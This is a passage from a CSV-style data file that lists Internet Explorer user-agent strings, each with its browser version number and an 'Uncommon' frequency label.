2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.1; WebMoney Advisor),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; browseforchangetoolbar_browseforchange),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; .NET4.0C; yie9),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/23.0.1271.97),9,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie9),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0E; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; USPortal),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; WOW64; Trident/8.0),,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; InfoPath.3; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; f9J; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),7,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Touch; MASMJS),10,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; S.N.O.W.4),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BTRS124423; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; chromeframe/31.0.1650.57; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib/5.0\\0195; Engine/4.00195; 89670803),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; BTRS124307; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; playbrytetoolbar_Playbryte),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI/2; AskTbORJ/5.15.14.29495; yie8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MASMJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; Tablet PC 2.0; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; SynapseWorkstation.3.2.1),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAMIJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322; yplus 4.4.02b),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022),7,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MASBJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MCIT 1.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Tablet PC 2.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; SpamBlockerUtility 4.8.4; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 2.0.50727; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GIL 3.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; InfoPath.3; Tablet PC 2.0; .NET4.0C),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MAARJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BOIE9;ENUSSEM),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0(compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:DOWNLOADED),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; CoxIE55),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; WebMoney Advisor),11,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crazy Browser 1.0.5),6,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; AskTbAVR-4/5.15.11.30498),9,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MAFSJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MAGWJS),10,Uncommon\nMozilla/5.0 (MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8),8,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; TAJB; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; MAARJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0(compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; Tablet PC 2.0),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; .NET4.0E; EIE10;ENUSWOL),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; CPNTDFJS; InfoPath.3),10,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727),6,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Trident/5.0),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NP09; NP09; MAAU; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; InfoPath.3),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; MS-RTC LM 8),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MAFSJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; .NET4.0E),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; Comcast Install 1.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; EIE10;FRFRMSN),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; EIE10;ENUSWOL),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; .NET4.0C; .NET4.0E; BRI/2; AskTbWCL2/5.15.1.22229; yie8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; .NET4.0C; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2),7,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENGBMSE; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSNIP),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MAAU),9,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; FunWebProducts; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2),7,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE11;ENUSWOL; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729),7,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Win64; x64; Trident/5.0; BOIE9;ENUS),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; ASJB; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 730 Dual SIM) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E),,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; QwestIE8x64),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0; InfoPath.3),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),11,Uncommon\nMozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0),9,Uncommon\nMozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729),8,Uncommon\n\"Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0;  rv:11.0) like Gecko\",11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; MANM; rv:11.0) like Gecko,11,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPNTDF; .NET4.0C),8,Uncommon\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; MAARJS; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MAEM; .NET4.0C; InfoPath.2; .NET4.0E),10,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; EIE10;PTBRWOL),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; EIE10;ENUSMCM),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC S; SRC 2.7.1 E1; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; .NET4.0C; .NET4.0E),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3),8,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATM; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729),7,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64, x64; Trident/7.0; Touch; rv:11.0) like Gecko\",11,Uncommon\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; EIE10;ENCAWOL; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; QAM; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; InfoPath.3),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; yie10),10,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Babya Discoverer  8.0:,6,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MATP; MATP; TAJB; rv:11.0) like Gecko,11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; WebMoney Advisor; .NET4.0C; .NET4.0E),8,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; 909; Vodafone),,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; NP08; MAAU),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),11,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; msn OptimizedIE8;FRBE),9,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; BOIE9;NLBE),9,Uncommon\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; ARM; Trident/6.0; Touch; ARMBJS),10,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; Tablet PC 2.0; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET4.0C),11,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; FBViewer-6.0.4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; FBViewer-6.0.4.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; WinTSI 07.11.2009; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; NGD_build; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; .NET4.0C; .NET4.0E; McAfee),8,Uncommon\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; 